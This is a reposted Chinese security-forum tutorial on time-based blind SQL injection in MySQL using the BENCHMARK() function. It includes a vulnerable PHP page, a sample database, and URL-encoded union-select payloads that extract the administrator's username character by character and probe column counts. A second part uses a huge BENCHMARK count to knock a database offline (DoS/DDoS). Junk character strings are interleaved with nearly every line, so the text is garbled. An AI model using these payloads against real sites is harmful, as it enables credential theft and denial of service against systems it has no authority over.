中国网络渗透测试联盟
标题:
MYSQL中BENCHMARK函数的利用
[打印本页]
作者:
admin
时间:
2012-9-15 14:03
标题:
MYSQL中BENCHMARK函数的利用
MYSQL中BENCHMARK函数的利用
+ m/ G: S' r* a7 U
本文作者:SuperHei
! A. r* x8 m% P7 o0 c8 a" v- i
文章性质:原创
g* C; c- ~9 V3 l, I
发布日期:2005-01-02
2 p5 B; V4 l9 Z( s7 Q
完成日期:2004-07-09
& ? N1 P- B- e+ e
第一部
, U5 @4 P, P* k1 W
* b1 d, _% {- j/ q+ _( |
利用时间推延进行注射---BENCHMARK函数在注射中的利用
) S9 h& \1 O* P, u
1 e2 ]8 I" ]. x$ q: m
一.前言/思路
) w. N0 z4 {* Y- W1 M( T8 T1 ~ o
$ r9 E5 y2 W2 y) ?+ K" B9 x) h
如果你看了angel的《SQL Injection with MySQL》一文,你有会发现一般的mysql+php的注射都是通过返回错误信息,和union联合查询替换原来查询语句中的字段而直接输出敏感信息,但是有的时候,主机设置为不显示错误信息:display_errors = Off 而且有的代码中sql查询后只是简单的对查询结果进行判断,而不要求输出查询结果,我们用上面的办法注射将一无所获。我们可以采用时间推延来进行判断注射了。
, Q4 M" |: J+ n1 {' s' [; u' h) Z
1 n: n, k$ z7 p& O; Z2 j# v
本技术的主要思路:通过在构造的语句用加入执行时间推延的函数,如果我们提交的判断是正确的,那么mysql查询时间就出现推延,如果提交的判断是正确,将不会执行时间推延的函数,查询语句将不会出现推延。这样我们就可以进行判断注射。
7 a- h, Q r% l& A9 f+ h. Y
5 q2 w/ [' ? p1 S( v
二.关于BENCHMARK函数
8 i2 O* O3 `9 U7 T* t, s
# t* C' y9 u, E
在MySQL参考手册里可以看到如下描叙:
1 A( v$ T8 H7 h( P& b9 q) D
$ C+ {( H0 B ]# S- m- S
% {0 p4 b" a# f* z8 u
--------------------------------------------------------------------------------
) W9 Q7 o* v) W/ z9 \+ m s) C% G
5 C, I# @6 C" E5 e9 K/ G
BENCHMARK(count,expr)
: t* S$ O3 P0 @
BENCHMARK()函数重复countTimes次执行表达式expr,它可以用于计时MySQL处理表达式有多快。结果值总是0。意欲用于mysql客户,它报告查询的执行时间。
" K2 B' e) ]' U, E
mysql> select BENCHMARK(1000000,encode("hello","goodbye"));
4 L O% ]- R1 d. l/ i8 X& L6 _
+----------------------------------------------+
8 m% n% w3 j4 ^: Y; Z( @& B L
| BENCHMARK(1000000,encode("hello","goodbye")) |
* f6 n/ l8 [* }
+----------------------------------------------+
) R+ v1 k5 K8 H0 _
| 0 |
6 h0 I; R) o8 }# }
+----------------------------------------------+
; n5 N" j$ w( p- {
1 row in set (4.74 sec)
: Y# Q: f9 ?# M; ?, k
% l: L0 T/ v9 e4 K( W
报告的时间是客户端的经过时间,不是在服务器端的CPU时间。执行BENCHMARK()若干次可能是明智的,并且注意服务器机器的负载有多重来解释结果。
8 m P, t A, z T* n( p
8 E5 K5 [; E% l" F: j
1 I+ t9 `2 |* b
--------------------------------------------------------------------------------
, N7 h( \: Q! }& z( `3 Q
w$ N" s7 K( W- a
只要我们把参数count 设置大点,那么那执行的时间就会变长。下面我们看看在mysql里执行的效果:
9 y( o* O. O7 A& H# |; Y# w
4 b: ^7 ?. y6 I3 @* Z
mysql> select md5( 'test' );
, e% G1 C) Z( S1 R& `, H! ?( E- N
+----------------------------------+
& Y- M3 J4 I) \& D
| md5( 'test' ) |
* o8 E# ~6 Z; _0 _- y; m
+----------------------------------+
n4 V$ } ?3 s! n
| 098f6bcd4621d373cade4e832627b4f6 |
& a" c1 }5 U; [' b% D7 a0 v
+----------------------------------+
! \$ o6 S, |* I! F1 Q7 X1 N. {
1 row in set (0.00 sec) 〈-----------执行时间为0.00 sec
* r7 F8 J5 q/ I$ ~0 r
" H* b) @9 w% y8 M" V
mysql> select benchmark( 500000, md5( 'test' ) );
/ Z* n+ T9 M/ D) d, z/ f
+------------------------------------+
$ f$ j% q/ \ b9 o
| benchmark( 500000, md5( 'test' ) ) |
8 a' { m0 D. P8 @0 l! s
+------------------------------------+
: C$ A. `& Q5 P) P- o2 V
| 0 |
; n, m# Y8 L9 Y% ~8 F1 t' P
+------------------------------------+
8 x3 z, e$ x4 V- N! P, d
1 row in set (6.55 sec) 〈------------执行时间为6.55 sec
& _& G' n: F! F* G$ ^# D
- y8 Y. Z, K0 n1 }; ]% h! g+ z
i" P" W7 w$ N2 ]% o6 ?
由此可以看出使用benchmark执行500000次的时间明显比正常执行时间延长了。
: K# O ]5 l$ W2 [4 i
$ h9 ?+ j- l u) e& n, {; n _
三.具体例子
% ]8 @' @" U: R1 L* [7 `
& q/ i3 e$ n, l, O5 e( o# o
首先我们看个简单的php代码:
) T6 m5 c1 E( Z( \2 f! r- _+ x
2 _; T7 u* ?4 c+ j
< ?php
N9 P# {, H. d
$servername = "localhost";
. P6 V M2 F$ ~9 ~/ [2 U' _3 l
$dbusername = "root";
" R, C& W: S8 T+ A! a7 Y
$dbpassword = "";
! R: d/ n* s9 n0 ~. h! h
$dbname = "injection";
) k+ D4 A" w, W0 n0 W
% Z( s2 A, l" D! J
mysql_connect($servername,$dbusername,$dbpassword) or die ("数据库连接失败");
0 f) g+ W U+ _% H! S C. x) O/ f
' Z/ A$ A1 F' ?$ ^
$sql = "SELECT * FROM article WHERE articleid=$id";
6 e+ R- P3 @3 e" J# N
$result = mysql_db_query($dbname,$sql);
5 h d8 M- x) v- f0 w9 R8 ]
$row = mysql_fetch_array($result);
2 k6 n4 x" S2 B! r
5 `# x# x ]; A/ T# b7 a3 k
if (!$row)
: l$ s. t$ o u7 _6 b& i6 n
{
( Y, N; p5 q# b9 f9 o4 _
exit;
* H7 P) p3 s, Z1 [6 V: Z) z! R
}
4 u6 Y7 N. p1 I8 {7 M0 j" t
?>
. P& d+ J8 D0 b
3 e# `" U" [0 o! v
& G4 C& C/ ]5 d# K1 v
数据库injection结构和内容如下:
" L. W, K) x, ]' u$ c0 H) ]6 r
5 S. O: K) c( b @; G* }
# 数据库 : `injection`
. q! i4 e2 H/ q# k6 A
#
) ?( y0 [6 e; r0 ^
3 C5 e/ w% d1 D1 k1 T2 K; q
# --------------------------------------------------------
( O# U! u8 H, k9 z2 T9 n( W
; g6 Q2 Y' u0 @! g, o K O: O* ]$ Q
#
9 I( Z# Z3 g3 C( W
# 表的结构 `article`
! _; ^# n$ O+ l+ U; ]" h
#
U8 H9 \& K. v+ j$ t- w2 P
' ~' J1 Q% ^) Q9 s
CREATE TABLE `article` (
1 B M( ?7 B+ A8 `
`articleid` int(11) NOT NULL auto_increment,
( ~2 ~, }* V, F4 U/ S+ x2 E: A
`title` varchar(100) NOT NULL default '',
! ?( x- |3 R7 t: b* `
`content` text NOT NULL,
d7 F8 g/ F x5 M; D3 K9 f% ]
PRIMARY KEY (`articleid`)
2 h! ~( _ P/ M3 T1 `: p( Y7 j
) TYPE=MyISAM AUTO_INCREMENT=3 ;
/ w }. M$ s& [ G' I6 t# j
( h" _% G( k" k3 z$ c. Y
#
$ S4 g# A+ `4 Q3 V6 K1 F- Z
# 导出表中的数据 `article`
d) [/ R+ m1 g) n
#
3 u6 O# |2 Y0 ~/ }; ]
$ N* n: j2 ~& k' P8 J; r
INSERT INTO `article` VALUES (1, '我是一个不爱读书的孩子', '中国的教育制度真是他妈的落后!如果我当教育部长。我要把所有老师都解雇!操~');
" b! y5 H, W7 M' f2 u# m# X
INSERT INTO `article` VALUES (2, '我恨死你', '我恨死你了,你是什么东西啊');
x3 q) V# o2 a$ ^( {2 G
. o6 R# } o! [0 |0 i+ h; v
# --------------------------------------------------------
6 x4 V2 B, ^$ e- [
% ~4 j( C, p% g3 m' C/ d$ F. F
#
( J0 @: M' h! E, M+ i3 T
# 表的结构 `user`
8 F \4 w6 z$ o# U* ?' [# a
#
+ u: `9 K5 G; Y, |
. f0 g3 S+ b! \3 e3 s% A* n
CREATE TABLE `user` (
1 w* h1 P) |% \4 Z7 X
`userid` int(11) NOT NULL auto_increment,
% [8 ~7 s! \3 @6 [' p2 |0 U
`username` varchar(20) NOT NULL default '',
, E9 U4 h+ o* l8 ]
`password` varchar(20) NOT NULL default '',
3 p1 X, Z9 A. ~" u- u3 j
PRIMARY KEY (`userid`)
+ ?, e( m; G% f! G0 o
) TYPE=MyISAM AUTO_INCREMENT=3 ;
. C, t6 H9 n$ E
* v& Q0 F% x$ ^9 N/ r$ F
#
/ U. o! @/ `' N" D1 i: \5 W
# 导出表中的数据 `user`
5 k3 L& N. z) f& J) F; i: I8 _
#
6 u$ E, H) R8 F3 G" Z
1 r8 Z# c+ A+ ?+ v- ~% R4 E& {
INSERT INTO `user` VALUES (1, 'angel', 'mypass');
2 B, \" M' U/ w/ V7 W
INSERT INTO `user` VALUES (2, '4ngel', 'mypass2');
6 z1 w7 q) u4 G: d
0 I5 K- T4 m: a0 V. j' b1 Y/ Y* q/ j
( Q% x+ i9 }% x0 G4 m3 ]. B$ D
代码只是对查询结果进行简单的判断是否存在,假设我们已经设置display_errors=Off。我们这里就没办法利用union select的替换直接输出敏感信息(ps:这里不是说我们不利用union,因为在mysql中不支持子查询)或通过错误消息返回不同来判断注射了。我们利用union联合查询插入BENCHMARK函数语句来进行判断注射:
+ u$ | @1 n4 @* F! d0 r/ K
6 i! k0 P7 t! T& U* f
id=1 union select 1,benchmark(500000,md5('test')),1 from user where userid=1 and ord(substring(username,1,1))=97 /*
, i" _& x: @5 S# P- |
6 V) ^1 J) c x: l& R
' `5 ^3 G% d$ E2 X% w. `
上面语句可以猜userid为1的用户名的第一位字母的ascii码值是是否为97,如果是97,上面的查询将由于benchmark作用而延时。如果不为97,将不回出现延时,这样我们最终可以猜出管理员的用户名和密码了。 大家注意,这里有一个小技巧:在benchmark(500000,md5('test'))中我们使用了'号, 这样是很危险的,因为管理员随便设置下 就可以过滤使注射失败,我们这里test可以是用其他进制表示,如16进制。最终构造如下:
' b" v( }2 _5 ^5 }# ^; _
: E! c8 x" y$ M1 d% O9 W+ ~6 ?2 h; Q1 F
http://127.0.0.1/test/test/show.php?id=1%20union%20select%201
,benchmark(500000,md5(0x41)),1%20from%20user%20where%20userid=1%20and%20ord(substring(username,1,1))=97%20/*
6 ?) U8 @; z5 C" q7 v2 t& u
: D% E3 U1 q6 u+ `+ K
9 d f7 ]! P6 e, x' ^
执行速度很慢,得到userid为1的用户名的第一位字母的ascii码值是是为97。
$ y# i3 u @+ Y8 z7 ^6 U8 Q
; h7 Y( Z; R+ f8 b, q" N8 A _
注意:我们在使用union select事必须知道原来语句查询表里的字段数,以往我们是根据错误消息来判断,我们在union select 1,1,1我们不停的增加1 如果字段数正确将正常返回不会出现错误,而现在不可以使用这个方法了,那我们可以利用benchmark(),我们这样构造 union select benchmark(500000,md5(0x41)) 1,1 我们在增加1的,当字段数正确时就回执行benchmark()出现延时,这样我们就可以判断字段数了。
2 Z! v- C0 m0 _0 E
8 v3 Z/ R( P$ c5 m$ O' h" C
第二部
6 ?1 M) J/ X! w3 g: Q+ X8 u
6 x9 b1 a2 I& K8 Y* f- p
利用BENCHMARK函数进行ddos攻击
- h* b- ^0 f" ?2 S% i/ F
* t' C2 P, D+ g3 a
其实思路很简单:在BENCHMARK(count,expr) 中 我们只要设置count 就是执行次数足够大的话,就可以造成dos攻击了,如果我们用代理或其他同时提交,就是ddos攻击,估计数据库很快就会挂了。不过前提还是要求可以注射。语句:
0 W6 B) Q4 h8 K2 C" S
% R) w* w _6 \0 J3 i3 m" d9 ]
http://127.0.0.1/test/test/show.php?id=1%20union%20select%201
,1,benchmark(99999999,md5(0x41))
9 H) d0 ]* T. L! }6 N. ?& G. f
8 ^- ]. T$ y5 a: E5 f
$ _7 P, s0 @9 } n) j) p5 t4 o
小结
+ R! d" U1 v- l3 K: T- h6 k
: u$ w$ L) e% h; n. c5 N4 p
本文主要思路来自
http://www.ngssoftware.com/papers/HackproofingMySQL.pdf
,其实关于利用时间差进行注射在mssql注射里早有应用,只是所利用的函数不同而已(见
http://www.ngssoftware.com/papers/more_advanced_sql_injection.pdf
)。关于mysql+php一般注射的可以参考angel的文章《SQL Injection with MySQL》。
5 K3 D& e. }% W# a
3 M1 U, W% a4 ~- D1 u
^5 A) k1 o. A) S
欢迎光临 中国网络渗透测试联盟 (https://cobjon.com/)
Powered by Discuz! X3.2